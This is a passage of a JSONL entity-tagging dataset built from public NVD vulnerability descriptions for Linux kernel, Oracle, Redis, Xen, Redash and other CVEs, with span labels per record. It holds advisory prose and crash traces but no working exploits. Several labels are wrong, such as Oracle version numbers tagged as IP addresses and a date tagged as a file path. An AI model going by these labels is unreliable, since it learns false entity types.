transport_add_device()\nin ata_tport_add().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[385, 409]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49825"}}
{"text": "Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Connector Framework). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager Base Platform accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager Base Platform. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[166, 174]], "IP_ADDRESS: 13.2.0.0": [[176, 184]], "IP_ADDRESS: 13.3.0.0": [[189, 197]], "ORGANIZATION: Oracle": [[65, 71]], "VULNERABILITY: denial of service": [[668, 685]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2633"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: Only create /proc/fs/netfs with CONFIG_PROC_FS\n\nWhen testing a special config:\n\nCONFIG_NETFS_SUPPORTS=y\nCONFIG_PROC_FS=n\n\nThe system crashes with something like:\n\n[    3.766197] ------------[ cut here ]------------\n[    3.766484] kernel BUG at mm/mempool.c:560!\n[    3.766789] Oops: invalid opcode: 0000 [#1] SMP NOPTI\n[    3.767123] CPU: 0 UID: 0 PID: 1 Comm: swapper/0 Tainted: G        W\n[    3.767777] Tainted: [W]=WARN\n[    3.767968] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),\n[    3.768523] RIP: 0010:mempool_alloc_slab.cold+0x17/0x19\n[    3.768847] Code: 50 fe ff 58 5b 5d 41 5c 41 5d 41 5e 41 5f e9 93 95 13 00\n[    3.769977] RSP: 0018:ffffc90000013998 EFLAGS: 00010286\n[    3.770315] RAX: 000000000000002f RBX: ffff888100ba8640 RCX: 0000000000000000\n[    3.770749] RDX: 0000000000000000 RSI: 0000000000000003 RDI: 00000000ffffffff\n[    3.771217] RBP: 0000000000092880 R08: 0000000000000000 R09: ffffc90000013828\n[    3.771664] R10: 0000000000000001 R11: 00000000ffffffea R12: 0000000000092cc0\n[    3.772117] R13: 0000000000000400 R14: ffff8881004b1620 R15: ffffea0004ef7e40\n[    3.772554] FS:  0000000000000000(0000) GS:ffff8881b5f3c000(0000) knlGS:0000000000000000\n[    3.773061] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[    3.773443] CR2: ffffffff830901b4 CR3: 0000000004296001 CR4: 0000000000770ef0\n[    3.773884] PKRU: 55555554\n[    3.774058] Call Trace:\n[    3.774232]  <TASK>\n[    3.774371]  mempool_alloc_noprof+0x6a/0x190\n[    3.774649]  ? _printk+0x57/0x80\n[    3.774862]  netfs_alloc_request+0x85/0x2ce\n[    3.775147]  netfs_readahead+0x28/0x170\n[    3.775395]  read_pages+0x6c/0x350\n[    3.775623]  ? srso_alias_return_thunk+0x5/0xfbef5\n[    3.775928]  page_cache_ra_unbounded+0x1bd/0x2a0\n[    3.776247]  filemap_get_pages+0x139/0x970\n[    3.776510]  ? srso_alias_return_thunk+0x5/0xfbef5\n[    3.776820]  filemap_read+0xf9/0x580\n[    3.777054]  ? srso_alias_return_thunk+0x5/0xfbef5\n[    3.777368]  ? srso_alias_return_thunk+0x5/0xfbef5\n[    3.777674]  ? find_held_lock+0x32/0x90\n[    3.777929]  ? netfs_start_io_read+0x19/0x70\n[    3.778221]  ? netfs_start_io_read+0x19/0x70\n[    3.778489]  ? srso_alias_return_thunk+0x5/0xfbef5\n[    3.778800]  ? lock_acquired+0x1e6/0x450\n[    3.779054]  ? srso_alias_return_thunk+0x5/0xfbef5\n[    3.779379]  netfs_buffered_read_iter+0x57/0x80\n[    3.779670]  __kernel_read+0x158/0x2c0\n[    3.779927]  bprm_execve+0x300/0x7a0\n[    3.780185]  kernel_execve+0x10c/0x140\n[    3.780423]  ? __pfx_kernel_init+0x10/0x10\n[    3.780690]  kernel_init+0xd5/0x150\n[    3.780910]  ret_from_fork+0x2d/0x50\n[    3.781156]  ? __pfx_kernel_init+0x10/0x10\n[    3.781414]  ret_from_fork_asm+0x1a/0x30\n[    3.781677]  </TASK>\n[    3.781823] Modules linked in:\n[    3.782065] ---[ end trace 0000000000000000 ]---\n\nThis is caused by the following error path in netfs_init():\n\n        if (!proc_mkdir(\"fs/netfs\", NULL))\n                goto error_proc;\n\nFix this by adding ifdef in netfs_main(), so that /proc/fs/netfs is only\ncreated with CONFIG_PROC_FS.", "spans": {"FILEPATH: /proc/fs/netfs": [[88, 102], [3035, 3049]], "FILEPATH: mempool.c": [[323, 332]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[530, 534]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37876"}}
{"text": "Talos Linux is a Linux distribution built for Kubernetes deployments. Talos worker nodes use a join token to get accepted into the Talos cluster. Due to improper validation of the request while signing a worker node CSR (certificate signing request) Talos control plane node might issue Talos API certificate which allows full access to Talos API on a control plane node. Accessing Talos API with full level access on a control plane node might reveal sensitive information which allows full level access to the cluster (Kubernetes and Talos PKI, etc.). Talos API join token is stored in the machine configuration on the worker node. When configured correctly, Kubernetes workloads don't have access to the machine configuration, but due to a misconfiguration workload might access the machine configuration and reveal the join token. This problem has been fixed in Talos 1.2.2. Enabling the Pod Security Standards mitigates the vulnerability by denying hostPath mounts and host networking by default in the baseline policy. Clusters that don't run untrusted workloads are not affected. Clusters with correct Pod Security configurations which don't allow hostPath mounts, and secure access to cloud metadata server (or machine configuration is not supplied via cloud metadata server) are not affected.", "spans": {"SYSTEM: Kubernetes": [[46, 56], [521, 531], [661, 671]], "SYSTEM: Linux": [[6, 11], [17, 22]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36103"}}
{"text": "KernelSU is a Kernel based root solution for Android. Starting in version 0.6.1 and prior to version 0.7.0, if a KernelSU installed device is infected with a malware whose app signing block specially constructed, it can take over root privileges on the device. The vulnerable verification logic actually obtains the signature of the last block with an id of `0x7109871a`, while the verification logic during Android installation is to obtain the first one. In addition to the actual signature upgrade that has been fixed (KSU thought it was V2 but was actually V3), there is also the problem of actual signature downgrading (KSU thought it was V2 but was actually V1). Find a condition in the signature verification logic that will cause the signature not to be found error, and KernelSU does not implement the same conditions, so KSU thinks there is a V2 signature, but the APK signature verification actually uses the V1 signature. This issue is fixed in version 0.7.0. As workarounds, keep the KernelSU manager installed and avoid installing unknown apps.", "spans": {"SYSTEM: Android": [[45, 52], [408, 415]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46139"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a division by zero to occur in `Conv2DBackpropFilter`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L513-L522) computes a divisor based on user provided data (i.e., the shape of the tensors given as arguments). If all shapes are empty then `work_unit_size` is 0. Since there is no check for this case before division, this results in a runtime exception, with potential to be abused for a denial of service. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L513-L522": [[183, 327]], "VULNERABILITY: denial of service": [[607, 624]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29538"}}
{"text": "joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In 1.6.2 and earlier, a resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token. This vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.", "spans": {"SYSTEM: Python": [[13, 19]], "VULNERABILITY: resource exhaustion": [[148, 167]], "VULNERABILITY: Denial of Service": [[239, 256]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27932"}}
{"text": "The \"origin\" parameter passed to some of the endpoints like '/trigger' was vulnerable to XSS exploit. This issue affects Apache Airflow versions prior to 1.10.13. This is same as CVE-2020-13944 but the implemented fix in Airflow 1.10.13 did not fix the issue completely.", "spans": {"CVE_ID: CVE-2020-13944": [[179, 193]], "SYSTEM: Apache Airflow": [[121, 135]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17515"}}
{"text": "Akka.NET is a .NET port of the Akka project from the Scala / Java community. In all versions of Akka.Remote from v1.2.0 to v1.5.51, TLS could be enabled via our `akka.remote.dot-netty.tcp` transport and this would correctly enforce private key validation on the server-side of inbound connections. Akka.Remote, however, never asked the outbound-connecting client to present ITS certificate - therefore it's possible for untrusted parties to connect to a private key'd Akka.NET cluster and begin communicating with it without any certificate. The issue here is that for certificate-based authentication to work properly, ensuring that all members of the Akka.Remote network are secured with the same private key, Akka.Remote needed to implement mutual TLS. This was not the case before Akka.NET v1.5.52. Those who run Akka.NET inside a private network that they fully control or who were never using TLS in the first place are now affected by the bug. However, those who use TLS to secure their networks must upgrade to Akka.NET V1.5.52 or later. One patch forces \"fail fast\" semantics if TLS is enabled but the private key is missing or invalid. Previous versions would only check that once connection attempts occurred. The second patch, a critical fix, enforces mutual TLS (mTLS) by default, so both parties must be keyed using the same certificate. As a workaround, avoid exposing the application publicly to avoid the vulnerability having a practical impact on one's application. However, upgrading to version 1.5.52 is still recommended by the maintainers.", "spans": {"SYSTEM: Java": [[61, 65]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-61778"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/64: Init jump labels before parse_early_param()\n\nOn 64-bit, calling jump_label_init() in setup_feature_keys() is too\nlate because static keys may be used in subroutines of\nparse_early_param() which is again subroutine of early_init_devtree().\n\nFor example booting with \"threadirqs\":\n\n  static_key_enable_cpuslocked(): static key '0xc000000002953260' used before call to jump_label_init()\n  WARNING: CPU: 0 PID: 0 at kernel/jump_label.c:166 static_key_enable_cpuslocked+0xfc/0x120\n  ...\n  NIP static_key_enable_cpuslocked+0xfc/0x120\n  LR  static_key_enable_cpuslocked+0xf8/0x120\n  Call Trace:\n    static_key_enable_cpuslocked+0xf8/0x120 (unreliable)\n    static_key_enable+0x30/0x50\n    setup_forced_irqthreads+0x28/0x40\n    do_early_param+0xa0/0x108\n    parse_args+0x290/0x4e0\n    parse_early_options+0x48/0x5c\n    parse_early_param+0x58/0x84\n    early_init_devtree+0xd4/0x518\n    early_setup+0xb4/0x214\n\nSo call jump_label_init() just before parse_early_param() in\nearly_init_devtree().\n\n[mpe: Add call trace to change log and minor wording edits.]", "spans": {"FILEPATH: jump_label.c": [[500, 512]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50012"}}
{"text": "Venice is a Clojure inspired sandboxed Lisp dialect with excellent Java interoperability. A partial path traversal issue exists within the functions `load-file` and `load-resource`. These functions can be limited to load files from a list of load paths. Assuming Venice has been configured with the load paths: `[ \"/Users/foo/resources\" ]` When passing **relative** paths to these two vulnerable functions everything is fine: `(load-resource \"test.png\")` => loads the file \"/Users/foo/resources/test.png\" `(load-resource \"../resources-alt/test.png\")` => rejected, outside the load path When passing **absolute** paths to these two vulnerable functions Venice may return files outside the configured load paths: `(load-resource \"/Users/foo/resources/test.png\")` => loads the file \"/Users/foo/resources/test.png\" `(load-resource \"/Users/foo/resources-alt/test.png\")` => loads the file \"/Users/foo/resources-alt/test.png\" !!! The latter call suffers from the _Partial Path Traversal_ vulnerability. This issue’s scope is limited to absolute paths whose name prefix matches a load path. E.g. for a load-path `\"/Users/foo/resources\"`, the actor can cause loading a resource also from `\"/Users/foo/resources-alt\"`, but not from `\"/Users/foo/images\"`. Versions of Venice before and including v1.10.17 are affected by this issue. Upgrade to Venice >= 1.10.18, if you are on a version < 1.10.18. There are currently no known workarounds.", "spans": {"FILEPATH: /Users/foo/resources": [[315, 335], [1106, 1126]], "FILEPATH: /Users/foo/resources/test.png": [[474, 503], [728, 757], [780, 809]], "FILEPATH: /resources-alt/test.png": [[524, 547]], "FILEPATH: /Users/foo/resources-alt/test.png": [[828, 861], [884, 917]], "FILEPATH: /Users/foo/resources-alt": [[1181, 1205]], "FILEPATH: /Users/foo/images": [[1224, 1241]], "SYSTEM: Java": [[67, 71]], "VULNERABILITY: path traversal": [[100, 114]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36007"}}
{"text": "In VxLAN scenarios on EX4300-MP, EX4600, QFX5000 Series devices an Uncontrolled Memory Allocation vulnerability in the Packet Forwarding Engine (PFE) of Juniper Networks Junos OS allows an unauthenticated adjacently located attacker sending specific packets to cause a Denial of Service (DoS) condition by crashing one or more PFE's when they are received and processed by the device. Upon automatic restart of the PFE, continued processing of these packets will cause the memory leak to reappear. Depending on the volume of packets received the attacker may be able to create a sustained Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS on EX4300-MP, EX4600, QFX5000 Series: 17.1 version 17.1R1 and later versions prior to 17.3R3-S12; 17.4 versions prior to 17.4R2-S13, 17.4R3-S5; 18.1 versions prior to 18.1R3-S13; 18.2 versions prior to 18.2R3-S8; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R1-S8, 18.4R2-S6, 18.4R3-S6; 19.1 versions prior to 19.1R3-S4; 19.2 versions prior to 19.2R1-S7, 19.2R3-S1; 19.3 versions prior to 19.3R2-S6, 19.3R3-S1; 19.4 versions prior to 19.4R1-S4, 19.4R2-S4, 19.4R3-S1; 20.1 versions prior to 20.1R2; 20.2 versions prior to 20.2R2-S3, 20.2R3; 20.3 versions prior to 20.3R2. This issue does not affect Junos OS versions prior to 17.1R1.", "spans": {"ORGANIZATION: Juniper": [[153, 160], [644, 651]], "VULNERABILITY: Denial of Service": [[269, 286], [589, 606]], "VULNERABILITY: memory leak": [[473, 484]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22226"}}
{"text": "Redis is an in-memory database that persists on disk. A vulnerability involving out-of-bounds read and integer overflow to buffer overflow exists starting with version 2.2 and prior to versions 5.0.13, 6.0.15, and 6.2.5. On 32-bit systems, Redis `*BIT*` command are vulnerable to integer overflow that can potentially be exploited to corrupt the heap, leak arbitrary heap contents or trigger remote code execution. The vulnerability involves changing the default `proto-max-bulk-len` configuration parameter to a very large value and constructing specially crafted commands bit commands. This problem only affects Redis on 32-bit platforms, or compiled as a 32-bit binary. Redis versions 5.0.`3m 6.0.15, and 6.2.5 contain patches for this issue. An additional workaround to mitigate the problem without patching the `redis-server` executable is to prevent users from modifying the `proto-max-bulk-len` configuration parameter. This can be done using ACL to restrict unprivileged users from using the CONFIG SET command.", "spans": {"SYSTEM: Redis": [[0, 5], [240, 245], [614, 619], [673, 678]], "VULNERABILITY: remote code execution": [[392, 413]], "VULNERABILITY: out-of-bounds read": [[80, 98]], "VULNERABILITY: integer overflow": [[103, 119], [280, 296]], "VULNERABILITY: buffer overflow": [[123, 138]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32761"}}
{"text": "PinchTab is a standalone HTTP server that gives AI agents direct control over a Chrome browser. PinchTab `v0.7.7` through `v0.8.4` contain incomplete request-throttling protections for auth-checkable endpoints. In `v0.7.7` through `v0.8.3`, a fully implemented `RateLimitMiddleware` existed in `internal/handlers/middleware.go` but was not inserted into the production HTTP handler chain, so requests were not subject to the intended per-IP throttle. In the same pre-`v0.8.4` range, the original limiter also keyed clients using `X-Forwarded-For`, which would have allowed client-controlled header spoofing if the middleware had been enabled. `v0.8.4` addressed those two issues by wiring the limiter into the live handler chain and switching the key to the immediate peer IP, but it still exempted `/health` and `/metrics` from rate limiting even though `/health` remained an auth-checkable endpoint when a token was configured. This issue weakens defense in depth for deployments where an attacker can reach the API, especially if a weak human-chosen token is used. It is not a direct authentication bypass or token disclosure issue by itself. PinchTab is documented as local-first by default and uses `127.0.0.1` plus a generated random token in the recommended setup. PinchTab's default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug. This was fully addressed in `v0.8.5` by applying `RateLimitMiddleware` in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the `/health` and `/metrics` exemption so auth-checkable endpoints are throttled as well.", "spans": {"IP_ADDRESS: 127.0.0.1": [[1205, 1214]], "FILEPATH: /handlers/middleware.go": [[303, 326]], "VULNERABILITY: authentication bypass": [[1087, 1108]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33621"}}
{"text": "Vulnerability in the Oracle Human Resources product of Oracle E-Business Suite (component: Hierarchy Diagrammers). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Human Resources. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Human Resources accessible data as well as unauthorized access to critical data or complete access to all Oracle Human Resources accessible data. CVSS 3.0 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [55, 61], [296, 302], [454, 460], [567, 573]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2956"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\neth: bnxt: fix kernel panic in the bnxt_get_queue_stats{rx | tx}\n\nWhen qstats-get operation is executed, callbacks of netdev_stats_ops\nare called. The bnxt_get_queue_stats{rx | tx} collect per-queue stats\nfrom sw_stats in the rings.\nBut {rx | tx | cp}_ring are allocated when the interface is up.\nSo, these rings are not allocated when the interface is down.\n\nThe qstats-get is allowed even if the interface is down. However,\nthe bnxt_get_queue_stats{rx | tx}() accesses cp_ring and tx_ring\nwithout null check.\nSo, it needs to avoid accessing rings if the interface is down.\n\nReproducer:\n ip link set $interface down\n ./cli.py --spec netdev.yaml --dump qstats-get\nOR\n ip link set $interface down\n python ./stats.py\n\nSplat looks like:\n BUG: kernel NULL pointer dereference, address: 0000000000000000\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n PGD 1680fa067 P4D 1680fa067 PUD 16be3b067 PMD 0\n Oops: Oops: 0000 [#1] PREEMPT SMP NOPTI\n CPU: 0 UID: 0 PID: 1495 Comm: python3 Not tainted 6.14.0-rc4+ #32 5cd0f999d5a15c574ac72b3e4b907341\n Hardware name: ASUS System Product Name/PRIME Z690-P D4, BIOS 0603 11/01/2021\n RIP: 0010:bnxt_get_queue_stats_rx+0xf/0x70 [bnxt_en]\n Code: c6 87 b5 18 00 00 02 eb a2 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 01\n RSP: 0018:ffffabef43cdb7e0 EFLAGS: 00010282\n RAX: 0000000000000000 RBX: ffffffffc04c8710 RCX: 0000000000000000\n RDX: ffffabef43cdb858 RSI: 0000000000000000 RDI: ffff8d504e850000\n RBP: ffff8d506c9f9c00 R08: 0000000000000004 R09: ffff8d506bcd901c\n R10: 0000000000000015 R11: ffff8d506bcd9000 R12: 0000000000000000\n R13: ffffabef43cdb8c0 R14: ffff8d504e850000 R15: 0000000000000000\n FS:  00007f2c5462b080(0000) GS:ffff8d575f600000(0000) knlGS:0000000000000000\n CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n CR2: 0000000000000000 CR3: 0000000167fd0000 CR4: 00000000007506f0\n PKRU: 55555554\n Call Trace:\n  <TASK>\n  ? __die+0x20/0x70\n  ? page_fault_oops+0x15a/0x460\n  ? sched_balance_find_src_group+0x58d/0xd10\n  ? exc_page_fault+0x6e/0x180\n  ? asm_exc_page_fault+0x22/0x30\n  ? bnxt_get_queue_stats_rx+0xf/0x70 [bnxt_en cdd546fd48563c280cfd30e9647efa420db07bf1]\n  netdev_nl_stats_by_netdev+0x2b1/0x4e0\n  ? xas_load+0x9/0xb0\n  ? xas_find+0x183/0x1d0\n  ? xa_find+0x8b/0xe0\n  netdev_nl_qstats_get_dumpit+0xbf/0x1e0\n  genl_dumpit+0x31/0x90\n  netlink_dump+0x1a8/0x360", "spans": {"HASH: cdd546fd48563c280cfd30e9647efa420db07bf1": [[2199, 2239]], "HASH: 5cd0f999d5a15c574ac72b3e4b907341": [[1113, 1145]], "FILEPATH: /01/2021": [[1216, 1224]], "FILEPATH: cli.py": [[689, 695]], "FILEPATH: netdev.yaml": [[703, 714]], "FILEPATH: stats.py": [[775, 783]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: ASUS": [[1162, 1166]], "VULNERABILITY: NULL pointer dereference": [[816, 840]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21973"}}
{"text": "An issue was discovered in Xen through 4.14.x. Out of bounds event channels are available to 32-bit x86 domains. The so called 2-level event channel model imposes different limits on the number of usable event channels for 32-bit x86 domains vs 64-bit or Arm (either bitness) ones. 32-bit x86 domains can use only 1023 channels, due to limited space in their shared (between guest and Xen) information structure, whereas all other domains can use up to 4095 in this model. The recording of the respective limit during domain initialization, however, has occurred at a time where domains are still deemed to be 64-bit ones, prior to actually honoring respective domain properties. At the point domains get recognized as 32-bit ones, the limit didn't get updated accordingly. Due to this misbehavior in Xen, 32-bit domains (including Domain 0) servicing other domains may observe event channel allocations to succeed when they should really fail. Subsequent use of such event channels would then possibly lead to corruption of other parts of the shared info structure. An unprivileged guest may cause another domain, in particular Domain 0, to misbehave. This may lead to a Denial of Service (DoS) for the entire system. All Xen versions from 4.4 onwards are vulnerable. Xen versions 4.3 and earlier are not vulnerable. Only x86 32-bit domains servicing other domains are vulnerable. Arm systems, as well as x86 64-bit domains, are not vulnerable.", "spans": {"SYSTEM: Xen": [[27, 30], [385, 388], [801, 804], [1223, 1226], [1269, 1272]], "VULNERABILITY: Denial of Service": [[1172, 1189]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25600"}}
{"text": "An issue was discovered in docker-kong (for Kong) through 2.0.3. The admin API port may be accessible on interfaces other than 127.0.0.1. NOTE: The vendor argue that this CVE is not a vulnerability because it has an inaccurate bug scope and patch links. “1) Inaccurate Bug Scope - The issue scope was on Kong's docker-compose template, and not Kong's docker image itself. In reality, this issue is not associated with any version of the Kong gateway. As such, the description stating ‘An issue was discovered in docker-kong (for Kong) through 2.0.3.’ is incorrect. This issue only occurs if a user decided to spin up Kong via docker-compose without following the security documentation. The docker-compose template is meant for users to quickly get started with Kong, and is meant for development purposes only. 2) Incorrect Patch Links - The CVE currently points to a documentation improvement as a “Patch” link: https://github.com/Kong/docs.konghq.com/commit/d693827c32144943a2f45abc017c1321b33ff611.This link actually points to an improvement Kong Inc made for fool-proofing. However, instructions for how to protect the admin API were already well-documented here: https://docs.konghq.com/2.0.x/secure-admin-api/#network-layer-access-restrictions , which was first published back in 2017 (as shown in this commit: https://github.com/Kong/docs.konghq.com/commit/e99cf875d875dd84fdb751079ac37882c9972949) Lastly, the hyperlink to https://github.com/Kong/kong (an unrelated Github Repo to this issue) on the Hyperlink list does not include any meaningful information on this topic.", "spans": {"IP_ADDRESS: 127.0.0.1": [[127, 136]], "URL: https://github.com/Kong/docs.konghq.com/commit/d693827c32144943a2f45abc017c1321b33ff611.This": [[914, 1006]], "URL: https://docs.konghq.com/2.0.x/secure-admin-api/#network-layer-access-restrictions": [[1169, 1250]], "URL: https://github.com/Kong/docs.konghq.com/commit/e99cf875d875dd84fdb751079ac37882c9972949": [[1318, 1405]], "URL: https://github.com/Kong/kong": [[1432, 1460]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-11710"}}
{"text": "In django-basic-auth-ip-whitelist before 0.3.4, a potential timing attack exists on websites where the basic authentication is used or configured, i.e. BASIC_AUTH_LOGIN and BASIC_AUTH_PASSWORD is set. Currently the string comparison between configured credentials and the ones provided by users is performed through a character-by-character string comparison. This enables a possibility that attacker may time the time it takes the server to validate different usernames and password, and use this knowledge to work out the valid credentials. This attack is understood not to be realistic over the Internet. However, it may be achieved from within local networks where the website is hosted, e.g. from inside a data centre where a website's server is located. Sites protected by IP address whitelisting only are unaffected by this vulnerability. This vulnerability has been fixed on version 0.3.4 of django-basic-auth-ip-whitelist. Update to version 0.3.4 as soon as possible and change basic authentication username and password configured on a Django project using this package. A workaround without upgrading to version 0.3.4 is to stop using basic authentication and use the IP whitelisting component only. It can be achieved by not setting BASIC_AUTH_LOGIN and BASIC_AUTH_PASSWORD in Django project settings.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-4071"}}
{"text": "Silverstripe Admin provides a basic management interface for the Silverstripe Framework. In versions on the 1.x branch prior to 1.13.19 and on the 2.x branch prior to 2.1.8, users who don't have edit or delete permissions for records exposed in a `ModelAdmin` can still edit or delete records using the CSV import form, provided they have create permissions. The likelihood of a user having create permissions but not having edit or delete permissions is low, but it is possible. Note that this doesn't affect any `ModelAdmin` which has had the import form disabled via the `showImportForm` public property. Versions 1.13.19 and 2.1.8 contain a patch for the issue. Those who have a custom implementation of `BulkLoader` should update their implementations to respect permissions when the return value of `getCheckPermissions()` is true. Those who use any `BulkLoader` in their own project logic, or maintain a module which uses it, should consider passing `true` to `setCheckPermissions()` if the data is provided by users.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-49783"}}
{"text": "Flux is a tool for keeping Kubernetes clusters in sync with sources of configuration (like Git repositories), and automating updates to configuration when there is new code to deploy. Flux CLI allows users to deploy Flux components into a Kubernetes cluster via command-line. The vulnerability allows other applications to replace the Flux deployment information with arbitrary content which is deployed into the target Kubernetes cluster instead. The vulnerability is due to the improper handling of user-supplied input, which results in a path traversal that can be controlled by the attacker. Users sharing the same shell between other applications and the Flux CLI commands could be affected by this vulnerability. In some scenarios no errors may be presented, which may cause end users not to realize that something is amiss. A safe workaround is to execute Flux CLI in ephemeral and isolated shell environments, which can ensure no persistent values exist from previous processes. However, upgrading to the latest version of the CLI is still the recommended mitigation strategy.", "spans": {"SYSTEM: Kubernetes": [[27, 37], [239, 249], [420, 430]], "VULNERABILITY: path traversal": [[541, 555]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36035"}}
{"text": "LDAP Account Manager (LAM) is an open source web frontend for managing entries stored in an LDAP directory. The profile editor tool has an edit profile functionality, the parameters on this page are not properly sanitized and hence leads to stored XSS attacks. An authenticated user can store XSS payloads in the profiles, which gets triggered when any other user try to access the edit profile page. The pdf editor tool has an edit pdf profile functionality, the logoFile parameter in it is not properly sanitized and an user can enter relative paths like ../../../../../../../../../../../../../usr/share/icons/hicolor/48x48/apps/gvim.png via tools like burpsuite. Later when a pdf is exported using the edited profile the pdf icon has the image on that path(if image is present). Both issues require an attacker to be able to login to LAM admin interface. The issue is fixed in version 7.9.1.", "spans": {"FILEPATH: /../../../../../../../../../../../../usr/share/icons/hicolor/48x48/apps/gvim.png": [[559, 639]], "VULNERABILITY: stored XSS": [[241, 251]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24851"}}
{"text": "Redash is a package for data visualization and sharing. In versions 10.0 and priorm the implementation of URL-loading data sources like JSON, CSV, or Excel is vulnerable to advanced methods of Server Side Request Forgery (SSRF). These vulnerabilities are only exploitable on installations where a URL-loading data source is enabled. As of time of publication, the `master` and `release/10.x.x` branches address this by applying the Advocate library for making http requests instead of the requests library directly. Users should upgrade to version 10.0.1 to receive this patch. There are a few workarounds for mitigating the vulnerability without upgrading. One can disable the vulnerable data sources entirely, by adding the following env variable to one's configuration, making them unavailable inside the webapp. One can switch any data source of certain types (viewable in the GitHub Security Advisory) to be `View Only` for all groups on the Settings > Groups > Data Sources screen. For users unable to update an admin may modify Redash's configuration through environment variables to mitigate this issue. Depending on the version of Redash, an admin may also need to run a CLI command to re-encrypt some fields in the database. The `master` and `release/10.x.x` branches as of time of publication have removed the default value for `REDASH_COOKIE_SECRET`. All future releases will also require this to be set explicitly. For existing installations, one will need to ensure that explicit values are set for the `REDASH_COOKIE_SECRET` and `REDASH_SECRET_KEY `variables.", "spans": {"ORGANIZATION: GitHub": [[881, 887]], "VULNERABILITY: SSRF": [[222, 226]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43780"}}
